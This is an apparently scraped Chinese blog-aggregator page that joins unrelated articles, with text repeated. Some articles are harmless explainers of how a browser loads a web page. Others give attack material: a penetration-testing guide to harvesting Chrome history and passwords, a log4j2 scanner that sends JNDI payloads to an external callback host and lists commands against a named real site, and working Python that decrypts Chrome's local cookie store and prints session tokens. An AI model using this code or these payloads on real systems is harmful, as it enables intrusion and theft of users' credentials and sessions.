浏览器抓取网页

浏览器抓取网页

小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?

网站优化优采云 发表了文章 • 0 个评论 • 81 次浏览 • 2022-06-12 16:00 • 来自相关话题

  小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?
  1前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章《》,《》描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:

  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。

  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。 查看全部

  小白科普:从输入网址到最后浏览器呈现页面内容,中间发生了什么?
  1前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章《》,《》描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
  一个HTTP GET请求经过千山万水,历经多个路由器的转发,终于到达服务器端(HTTP数据包可能被下层进行分片传输,略去不表)。
  Web服务器需要着手处理了,它有三种方式来处理:
  (1) 可以用一个线程来处理所有请求,同一时刻只能处理一个,这种结构易于实现,但是这样会造成严重的性能问题。
  (2) 可以为每个请求分配一个进程/线程,但是当连接太多的时候,服务器端的进程/线程会耗费大量内存资源,进程/线程的切换也会让CPU不堪重负。
  (3) 复用I/O的方式,很多Web服务器都采用了复用结构,例如通过epoll的方式监视所有的连接,当连接的状态发生变化(如有数据可读), 才用一个进程/线程对那个连接进行处理,处理完以后继续监视,等待下次状态变化。 用这种方式可以用少量的进程/线程应对成千上万的连接请求。
  (码农翻身注:详情参见《》)
  我们使用Nginx这个非常流行的Web服务器来继续下面的故事。
  对于HTTP GET请求,Nginx利用epoll的方式给读取了出来, Nginx接下来要判断,这是个静态的请求还是个动态的请求啊?
  如果是静态的请求(HTML文件,JavaScript文件,CSS文件,图片等),也许自己就能搞定了(当然依赖于Nginx配置,可能转发到别的缓存服务器去),读取本机硬盘上的相关文件,直接返回。
  如果是动态的请求,需要后端服务器(如Tomcat)处理以后才能返回,那就需要向Tomcat转发,如果后端的Tomcat还不止一个,那就需要按照某种策略选取一个。
  例如Ngnix支持这么几种:

  
  不管用哪种算法,某个后端服务器最终被选中,然后Nginx需要把HTTP Request转发给后端的Tomcat,并且把Tomcat输出的HttpResponse再转发给浏览器。
  由此可见,Nginx在这种场景下,是一个代理人的角色。

  
  5应用服务器
  Http Request终于来到了Tomcat,这是一个由Java写的、可以处理Servlet/JSP的容器,我们的代码就运行在这个容器之中。
  如同Web服务器一样, Tomcat也可能为每个请求分配一个线程去处理,即通常所说的BIO模式(Blocking I/O 模式)。
  也可能使用I/O多路复用技术,仅仅使用若干线程来处理所有请求,即NIO模式。
  不管用哪种方式,Http Request 都会被交给某个Servlet处理,这个Servlet又会把Http Request做转换,变成框架所使用的参数格式,然后分发给某个Controller(如果你是在用Spring)或者Action(如果你是在Struts)。
  剩下的故事就比较简单了(不,对码农来说,其实是最复杂的部分),就是执行码农经常写的增删改查逻辑,在这个过程中很有可能和缓存、数据库等后端组件打交道,最终返回HTTP Response,由于细节依赖业务逻辑,略去不表。

密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写

网站优化优采云 发表了文章 • 0 个评论 • 132 次浏览 • 2022-06-12 15:49 • 来自相关话题

  密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写
  在常规渗透中,我们需要对浏览器信息进行收集,可能获取内网一些web信息,在一些极端环境可以尝试撸下管理常访问web进行水坑
  chrome浏览器信息获取0x01 历史记录
  chrome浏览器的历史记录保存在
  C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
  的名为history的sqlite文件的urls表中。

  c++代码实现 <p>#include "sqlite3.h"#include using namespace std;sqlite3* pDB = NULL;bool SelectUser();int main(){ int nRes = sqlite3_open("C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\Default\\History", &pDB); if (nRes != SQLITE_OK) { cout 查看全部

  密码抓取|Chrome浏览器密码和Cookie信息收集脚本编写
  在常规渗透中,我们需要对浏览器信息进行收集,可能获取内网一些web信息,在一些极端环境可以尝试撸下管理常访问web进行水坑
  chrome浏览器信息获取0x01 历史记录
  chrome浏览器的历史记录保存在
  C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default
  的名为history的sqlite文件的urls表中。

  c++代码实现 <p>#include "sqlite3.h"#include using namespace std;sqlite3* pDB = NULL;bool SelectUser();int main(){ int nRes = sqlite3_open("C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\Default\\History", &pDB); if (nRes != SQLITE_OK) { cout

【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具

网站优化优采云 发表了文章 • 0 个评论 • 186 次浏览 • 2022-06-10 14:39 • 来自相关话题

  【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具
  log4j2-scan工具简介
  log4j2-scan是一款利用浏览器爬虫爬取网站所有链接,并替换参数值为${jndi:ldap:///exp}形式,旨在遍历所有链接发现log4j2漏洞的工具。
  工作流程
  程序的工作流是利用rad爬取网站所有链接
  替换值为log4j2漏洞的payload
  将替换好的请求进行重放。
  运行参数
  _ _ _ _ ____ ____<br /> | | ___ __ _| || | (_)___ \ / ___| ___ __ _ _ __ _ __ ___ _ __<br /> | | / _ \ / _` | || |_| | __) |___\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|<br /> | |__| (_) | (_| |__ _| |/ __/_____|__) | (_| (_| | | | | | | | __/ |<br /> |_____\___/ \__, | |_|_/ |_____| |____/ \___\__,_|_| |_|_| |_|\___|_|<br /> |___/ |__/ by jshahjk@163.com. Illegal use is prohibited.<br /><br />rad_windows_amd64.exe<br />usage: scan_with_rad.py [-h] [-u URL] [-f FILE] [-c CHROME_PATH] [-p PAYLOAD]<br /><br />optional arguments:<br /> -h, --help show this help message and exit<br /> -u URL, --url URL Check a single URL.<br /> -f FILE, --file FILE file containing url.<br /> -c CHROME_PATH Specify the chrome path.<br /> -p PAYLOAD, --payload PAYLOAD<br /> Specify the payload like ${jndi:ldap://xx}.<br />
  运行命令:
  python scan_with_rad.py -u www.hao24.com<br />python scan_with_rad.py -p mh7av.ceye.io -u www.xxxx.com<br />
  工具地址 查看全部

  【log4j2-scan】使用浏览器爬虫获取网站全链接扫描log4j2漏洞工具
  log4j2-scan工具简介
  log4j2-scan是一款利用浏览器爬虫爬取网站所有链接,并替换参数值为${jndi:ldap:///exp}形式,旨在遍历所有链接发现log4j2漏洞的工具。
  工作流程
  程序的工作流是利用rad爬取网站所有链接
  替换值为log4j2漏洞的payload
  将替换好的请求进行重放。
  运行参数
  _ _ _ _ ____ ____<br /> | | ___ __ _| || | (_)___ \ / ___| ___ __ _ _ __ _ __ ___ _ __<br /> | | / _ \ / _` | || |_| | __) |___\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|<br /> | |__| (_) | (_| |__ _| |/ __/_____|__) | (_| (_| | | | | | | | __/ |<br /> |_____\___/ \__, | |_|_/ |_____| |____/ \___\__,_|_| |_|_| |_|\___|_|<br /> |___/ |__/ by jshahjk@163.com. Illegal use is prohibited.<br /><br />rad_windows_amd64.exe<br />usage: scan_with_rad.py [-h] [-u URL] [-f FILE] [-c CHROME_PATH] [-p PAYLOAD]<br /><br />optional arguments:<br /> -h, --help show this help message and exit<br /> -u URL, --url URL Check a single URL.<br /> -f FILE, --file FILE file containing url.<br /> -c CHROME_PATH Specify the chrome path.<br /> -p PAYLOAD, --payload PAYLOAD<br /> Specify the payload like ${jndi:ldap://xx}.<br />
  运行命令:
  python scan_with_rad.py -u www.hao24.com<br />python scan_with_rad.py -p mh7av.ceye.io -u www.xxxx.com<br />
  工具地址

提取谷歌游览器Cookie的五重境界

网站优化优采云 发表了文章 • 0 个评论 • 280 次浏览 • 2022-06-09 18:51 • 来自相关话题

  提取谷歌游览器Cookie的五重境界
  一、纯手动提取谷歌游览器cookie
  这应该是任何玩过爬虫的童鞋都会的方案,也可能是对于完全不会爬虫的童鞋使用起来最困难的方案。
  方法就是先F12打开开发者工具,然后访问要提取cookie的网站,然后在网络中选中刚才访问的请求。然后在请求头中找到cookie这一项,复制对应的值即可。
  二、selenium手动登录并获取cookie
  以保存B站登录cookie为例:
  from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.common.exceptions import NoSuchElementExceptionimport timeimport json<br />browser = webdriver.Chrome()browser.get("https://passport.bilibili.com/login")flag = Trueprint("等待登录...")while flag: try: browser.find_element(By.XPATH, "//div[@class='user-con signin']|//ul[@class='right-entry']" "//a[@class='header-entry-avatar']") flag = False except NoSuchElementException as e: time.sleep(3)print("已登录,现在为您保存cookie...")with open('cookie.txt', 'w', encoding='u8') as f: json.dump(browser.get_cookies(), f)browser.close()print("cookie保存完成,游览器已自动退出...")
  执行以上代码,selenium会控制谷歌游览器打开B站的登录页,等待用户手动登录B站,登录后会自动保存cookie。
  三、selenium无头模式获取非登录cookie
  比如抖音这种网站想下载其中的视频,就必须要带有一个初始的cookie,但这个cookie生成的算法比较复杂,纯requests很难模拟,这时我们完全可以借助selenium来加载网页并获取cookie节省分析js的时间。由于我们并不需要进行人工的操作,所以使用无头模式更佳。
  下面就演示无头模式获取抖音网站的cookie
  from selenium import webdriverimport time<br /><br />def selenium_get_cookies(url='https://www.douyin.com'):    """无头模式提取目标链接对应的cookie""" start_time = time.time() option = webdriver.ChromeOptions() option.add_argument("--headless") option.add_experimental_option('excludeSwitches', ['enable-automation']) option.add_experimental_option('useAutomationExtension', False) option.add_argument( 'user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36') option.add_argument("--disable-blink-features=AutomationControlled") print("打开无头游览器...") browser = webdriver.Chrome(options=option) print(f"访问{url} ...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"无头游览器获取cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(selenium_get_cookies("https://www.douyin.com"))<br />
  打印结果如下:
  打开无头游览器...访问https://www.douyin.com ...无头游览器获取cookie耗时:3.28 秒{'': 'douyin.com', 'ttwid': '1%7CZn_LJdPjHKdCy4jtBoYWL_yT3NMn7OZVTBStEzoLoQg%7C1642932056%7C80dbf668fd283c71f9aee1a277cb35f597a8453a3159805c92dfee338e70b640', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642932057106', 'MONITOR_WEB_ID': '651d9eca-f155-494b-a945-b8758ae948fb', 'ttcid': 'ea2b5aed3bb349219f7120c53dc844a033', 'home_can_add_dy_2_desktop': '0', '_tea_utm_cache_6383': 'undefined', '__ac_signature': '_02B4Z6wo00f01kI39JwAAIDBnlvrNDKInu5CB.AAAPFv24', 'MONITOR_DEVICE_ID': '25d4799c-1d29-40e9-ab2b-3cc056b09a02', '__ac_nonce': '061ed27580066860ebc87'}
  四、获取本地谷歌游览器中的cookie
  我们知道当我们通过selenium直接去控制谷歌游览器时,并没有加载原本谷歌游览器的cookie。有没有办法可以直接获取谷歌游览器已经登录过的cookie呢?
  其实很简单,只要我们使用debug远程调试模式运行本地的谷歌游览器,再用selenium控制即可提取之前登录的cookie:
  import osimport winregfrom selenium import webdriverimport time<br /><br />def get_local_ChromeCookies(url, chrome_path=None): """提取本地谷歌游览器目标链接对应的cookie""" if chrome_path is None: key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r"ChromeHTML\Application") path = winreg.QueryValueEx(key, "ApplicationIcon")[0] chrome_path = path[:path.rfind(",")] start_time = time.time() command = f'"{chrome_path}" --remote-debugging-port=9222' # print(command) os.popen(command) option = webdriver.ChromeOptions() option.add_experimental_option("debuggerAddress", "127.0.0.1:9222") browser = webdriver.Chrome(options=option) print(f"访问{url}...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"获取谷歌游览器cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(get_local_ChromeCookies("https://www.douyin.com"))<br />
  上述代码有能力直接获取之前在谷歌游览器访问过的任何网站的cookie,下面是抖音的结果:
  五、解析存储谷歌游览器cookie数据的文件并提取
  最后我再介绍一个终极绝招,那就是直接解密cookies文件。在97之前版本的谷歌游览器,保存cookie的文件存储在%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies,而在97版本后则移动到了%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies。
  但在未来97以上的版本,存储位置和加密方式是否会继续发生变化还未知。截止目前密钥数据始终都存储在%LOCALAPPDATA%\Google\Chrome\User Data\Local State文件中。(80版本之前,直接使用win32crypt.CryptUnprotectData(encrypted_value_bytes,None,None,None,0)[1]解密,无需密钥)
  完整提取代码如下:
  <br />import base64import jsonimport osimport sqlite3<br />import win32cryptfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM<br /><br />def load_local_key(localStateFilePath): "读取chrome保存在json文件中的key再进行base64解码和DPAPI解密得到真实的AESGCM key" with open(localStateFilePath, encoding='u8') as f: encrypted_key = json.load(f)['os_crypt']['encrypted_key'] encrypted_key_with_header = base64.b64decode(encrypted_key) encrypted_key = encrypted_key_with_header[5:] key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] return key<br /><br />def decrypt_value(key, data): "AESGCM解密" nonce, cipherbytes = data[3:15], data[15:] aesgcm = AESGCM(key) plaintext = aesgcm.decrypt(nonce, cipherbytes, None).decode('u8') return plaintext<br /><br />def fetch_host_cookie(host): "获取指定域名下的所有cookie" userDataDir = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data' localStateFilePath = userDataDir + r'\Local State' cookiepath = userDataDir + r'\Default\Cookies' # 97版本已经将Cookies移动到Network目录下 if not os.path.exists(cookiepath) or os.stat(cookiepath).st_size == 0: cookiepath = userDataDir + r'\Default\Network\Cookies' # print(cookiepath) sql = f"select name,encrypted_value from cookies where host_key like '%.{host}'" cookies = {} key = load_local_key(localStateFilePath) with sqlite3.connect(cookiepath) as conn: cu = conn.cursor() for name, encrypted_value in cu.execute(sql).fetchall(): cookies[name] = decrypt_value(key, encrypted_value) return cookies<br /><br />if __name__ == '__main__': print(fetch_host_cookie("douyin.com"))<br />
  结果
  {'ttcid': '3087b27658f74de9a4dae240e7b3930726', 'MONITOR_DEVICE_ID': 'd465b931-3a0e-45ba-ac19-263dd31a76ee', 'MONITOR_WEB_ID': '70892127-f756-4455-bb5e-f8b1bf6b71d0', '_tea_utm_cache_6383': 'undefined', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642915542503', 'passport_csrf_token_default': 'c6bda362fba48845a2fe6e79f4d35bc8', 'passport_csrf_token': 'c6bda362fba48845a2fe6e79f4d35bc8', '_tea_utm_cache_1300': 'undefined', 'msToken': 'e2XPeN9Oe2rvoAwQrIKLvpGYQTF8ymR4MFv6N8dXHhu4To2NlR0uzx-XPqxCWWLlO5Mqr2-3hwSIGO_o__heO0Rv6nxYXaOt6yx2eaBS7vmttb4wQSQcYBo=', 'THEME_STAY_TIME': '13218', '__ac_nonce': '061ed2dee006ff56640fa', '__ac_signature': '_02B4Z6wo00f01rasq3AAAIDCNq5RMzqU2Ya2iK.AAMxSb2', 'home_can_add_dy_2_desktop': '1', 'ttwid': '1%7CsXCoN0TQtHpKYiRoZnAKyqNJhOfkdJjNEJIdPPAibJw%7C1642915541%7C8a3308d87c6d2a38632bbfe4dfc0baae75162cedf6d63ace9a9e2ae4a13182d2'}
   查看全部

  提取谷歌游览器Cookie的五重境界
  一、纯手动提取谷歌游览器cookie
  这应该是任何玩过爬虫的童鞋都会的方案,也可能是对于完全不会爬虫的童鞋使用起来最困难的方案。
  方法就是先F12打开开发者工具,然后访问要提取cookie的网站,然后在网络中选中刚才访问的请求。然后在请求头中找到cookie这一项,复制对应的值即可。
  二、selenium手动登录并获取cookie
  以保存B站登录cookie为例:
  from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.common.exceptions import NoSuchElementExceptionimport timeimport json<br />browser = webdriver.Chrome()browser.get("https://passport.bilibili.com/login";)flag = Trueprint("等待登录...")while flag: try: browser.find_element(By.XPATH, "//div[@class='user-con signin']|//ul[@class='right-entry']" "//a[@class='header-entry-avatar']") flag = False except NoSuchElementException as e: time.sleep(3)print("已登录,现在为您保存cookie...")with open('cookie.txt', 'w', encoding='u8') as f: json.dump(browser.get_cookies(), f)browser.close()print("cookie保存完成,游览器已自动退出...")
  执行以上代码,selenium会控制谷歌游览器打开B站的登录页,等待用户手动登录B站,登录后会自动保存cookie。
  三、selenium无头模式获取非登录cookie
  比如抖音这种网站想下载其中的视频,就必须要带有一个初始的cookie,但这个cookie生成的算法比较复杂,纯requests很难模拟,这时我们完全可以借助selenium来加载网页并获取cookie节省分析js的时间。由于我们并不需要进行人工的操作,所以使用无头模式更佳。
  下面就演示无头模式获取抖音网站的cookie
  from selenium import webdriverimport time<br /><br />def selenium_get_cookies(url='https://www.douyin.com'):    """无头模式提取目标链接对应的cookie""" start_time = time.time() option = webdriver.ChromeOptions() option.add_argument("--headless") option.add_experimental_option('excludeSwitches', ['enable-automation']) option.add_experimental_option('useAutomationExtension', False) option.add_argument( 'user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36') option.add_argument("--disable-blink-features=AutomationControlled") print("打开无头游览器...") browser = webdriver.Chrome(options=option) print(f"访问{url} ...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"无头游览器获取cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(selenium_get_cookies("https://www.douyin.com";))<br />
  打印结果如下:
  打开无头游览器...访问https://www.douyin.com ...无头游览器获取cookie耗时:3.28 秒{'': 'douyin.com', 'ttwid': '1%7CZn_LJdPjHKdCy4jtBoYWL_yT3NMn7OZVTBStEzoLoQg%7C1642932056%7C80dbf668fd283c71f9aee1a277cb35f597a8453a3159805c92dfee338e70b640', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642932057106', 'MONITOR_WEB_ID': '651d9eca-f155-494b-a945-b8758ae948fb', 'ttcid': 'ea2b5aed3bb349219f7120c53dc844a033', 'home_can_add_dy_2_desktop': '0', '_tea_utm_cache_6383': 'undefined', '__ac_signature': '_02B4Z6wo00f01kI39JwAAIDBnlvrNDKInu5CB.AAAPFv24', 'MONITOR_DEVICE_ID': '25d4799c-1d29-40e9-ab2b-3cc056b09a02', '__ac_nonce': '061ed27580066860ebc87'}
  四、获取本地谷歌游览器中的cookie
  我们知道当我们通过selenium直接去控制谷歌游览器时,并没有加载原本谷歌游览器的cookie。有没有办法可以直接获取谷歌游览器已经登录过的cookie呢?
  其实很简单,只要我们使用debug远程调试模式运行本地的谷歌游览器,再用selenium控制即可提取之前登录的cookie:
  import osimport winregfrom selenium import webdriverimport time<br /><br />def get_local_ChromeCookies(url, chrome_path=None): """提取本地谷歌游览器目标链接对应的cookie""" if chrome_path is None: key = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r"ChromeHTML\Application") path = winreg.QueryValueEx(key, "ApplicationIcon")[0] chrome_path = path[:path.rfind(",")] start_time = time.time() command = f'"{chrome_path}" --remote-debugging-port=9222' # print(command) os.popen(command) option = webdriver.ChromeOptions() option.add_experimental_option("debuggerAddress", "127.0.0.1:9222") browser = webdriver.Chrome(options=option) print(f"访问{url}...") browser.get(url) cookie_list = browser.get_cookies() # 关闭浏览器 browser.close() cost_time = time.time() - start_time print(f"获取谷歌游览器cookie耗时:{cost_time:0.2f} 秒") return {row["name"]: row["value"] for row in cookie_list}<br /><br />print(get_local_ChromeCookies("https://www.douyin.com";))<br />
  上述代码有能力直接获取之前在谷歌游览器访问过的任何网站的cookie,下面是抖音的结果:
  五、解析存储谷歌游览器cookie数据的文件并提取
  最后我再介绍一个终极绝招,那就是直接解密cookies文件。在97之前版本的谷歌游览器,保存cookie的文件存储在%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies,而在97版本后则移动到了%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies。
  但在未来97以上的版本,存储位置和加密方式是否会继续发生变化还未知。截止目前密钥数据始终都存储在%LOCALAPPDATA%\Google\Chrome\User Data\Local State文件中。(80版本之前,直接使用win32crypt.CryptUnprotectData(encrypted_value_bytes,None,None,None,0)[1]解密,无需密钥)
  完整提取代码如下:
  <br />import base64import jsonimport osimport sqlite3<br />import win32cryptfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM<br /><br />def load_local_key(localStateFilePath): "读取chrome保存在json文件中的key再进行base64解码和DPAPI解密得到真实的AESGCM key" with open(localStateFilePath, encoding='u8') as f: encrypted_key = json.load(f)['os_crypt']['encrypted_key'] encrypted_key_with_header = base64.b64decode(encrypted_key) encrypted_key = encrypted_key_with_header[5:] key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] return key<br /><br />def decrypt_value(key, data): "AESGCM解密" nonce, cipherbytes = data[3:15], data[15:] aesgcm = AESGCM(key) plaintext = aesgcm.decrypt(nonce, cipherbytes, None).decode('u8') return plaintext<br /><br />def fetch_host_cookie(host): "获取指定域名下的所有cookie" userDataDir = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data' localStateFilePath = userDataDir + r'\Local State' cookiepath = userDataDir + r'\Default\Cookies' # 97版本已经将Cookies移动到Network目录下 if not os.path.exists(cookiepath) or os.stat(cookiepath).st_size == 0: cookiepath = userDataDir + r'\Default\Network\Cookies' # print(cookiepath) sql = f"select name,encrypted_value from cookies where host_key like '%.{host}'" cookies = {} key = load_local_key(localStateFilePath) with sqlite3.connect(cookiepath) as conn: cu = conn.cursor() for name, encrypted_value in cu.execute(sql).fetchall(): cookies[name] = decrypt_value(key, encrypted_value) return cookies<br /><br />if __name__ == '__main__': print(fetch_host_cookie("douyin.com"))<br />
  结果
  {'ttcid': '3087b27658f74de9a4dae240e7b3930726', 'MONITOR_DEVICE_ID': 'd465b931-3a0e-45ba-ac19-263dd31a76ee', 'MONITOR_WEB_ID': '70892127-f756-4455-bb5e-f8b1bf6b71d0', '_tea_utm_cache_6383': 'undefined', 'AB_LOGIN_GUIDE_TIMESTAMP': '1642915542503', 'passport_csrf_token_default': 'c6bda362fba48845a2fe6e79f4d35bc8', 'passport_csrf_token': 'c6bda362fba48845a2fe6e79f4d35bc8', '_tea_utm_cache_1300': 'undefined', 'msToken': 'e2XPeN9Oe2rvoAwQrIKLvpGYQTF8ymR4MFv6N8dXHhu4To2NlR0uzx-XPqxCWWLlO5Mqr2-3hwSIGO_o__heO0Rv6nxYXaOt6yx2eaBS7vmttb4wQSQcYBo=', 'THEME_STAY_TIME': '13218', '__ac_nonce': '061ed2dee006ff56640fa', '__ac_signature': '_02B4Z6wo00f01rasq3AAAIDCNq5RMzqU2Ya2iK.AAMxSb2', 'home_can_add_dy_2_desktop': '1', 'ttwid': '1%7CsXCoN0TQtHpKYiRoZnAKyqNJhOfkdJjNEJIdPPAibJw%7C1642915541%7C8a3308d87c6d2a38632bbfe4dfc0baae75162cedf6d63ace9a9e2ae4a13182d2'}
  

从输入网址到浏览器呈现页面内容,中间发生了什么?

网站优化优采云 发表了文章 • 0 个评论 • 51 次浏览 • 2022-06-07 07:08 • 来自相关话题

  从输入网址到浏览器呈现页面内容,中间发生了什么?
  前言
  这篇文章是应网友之邀所写,主要描述一下我们访问网站时, 从输入网址到最后浏览器呈现内容,中间发生了什么。
  之前写过两篇文章描述了一个电脑如何通过DHCP、ARP、NAT等上式获取IP、然后访问网络的过程,主要专注在传输层和网络层。
  今天的文章主要专注于应用层,我拿了一个很简单的网络结构来讲。假定本机已经获取了IP地址,各种网络基础设施已经准备好了。
  由于知识点太多,我肯定会漏掉部分内容,欢迎在留言中补充, 以后我会根据大家建议再写文章扩展。
  2准备
  当你在浏览器中输入网址(例如)并且敲了回车以后, 浏览器首先要做的事情就是获得的IP地址,具体的做法就是发送一个UDP的包给DNS服务器,DNS服务器会返回的IP, 这时候浏览器通常会把IP地址给缓存起来,这样下次访问就会加快。
  比如Chrome, 你可以通过chrome://net-internals/#dns来查看。
  有了服务器的IP, 浏览器就要可以发起HTTP请求了,但是HTTP Request/Response必须在TCP这个“虚拟的连接”上来发送和接收。
  想要建立“虚拟的”TCP连接,TCP邮差需要知道4个东西:(本机IP, 本机端口,服务器IP, 服务器端口),现在只知道了本机IP,服务器IP, 两个端口怎么办?
  本机端口很简单,操作系统可以给浏览器随机分配一个, 服务器端口更简单,用的是一个“众所周知”的端口,HTTP服务就是80, 我们直接告诉TCP邮差就行。
  经过三次握手以后,客户端和服务器端的TCP连接就建立起来了! 终于可以发送HTTP请求了。
  
  之所以把TCP连接画成虚线,是因为这个连接是虚拟的, 详情可参见之前的文章《》,《》
  3Web服务器
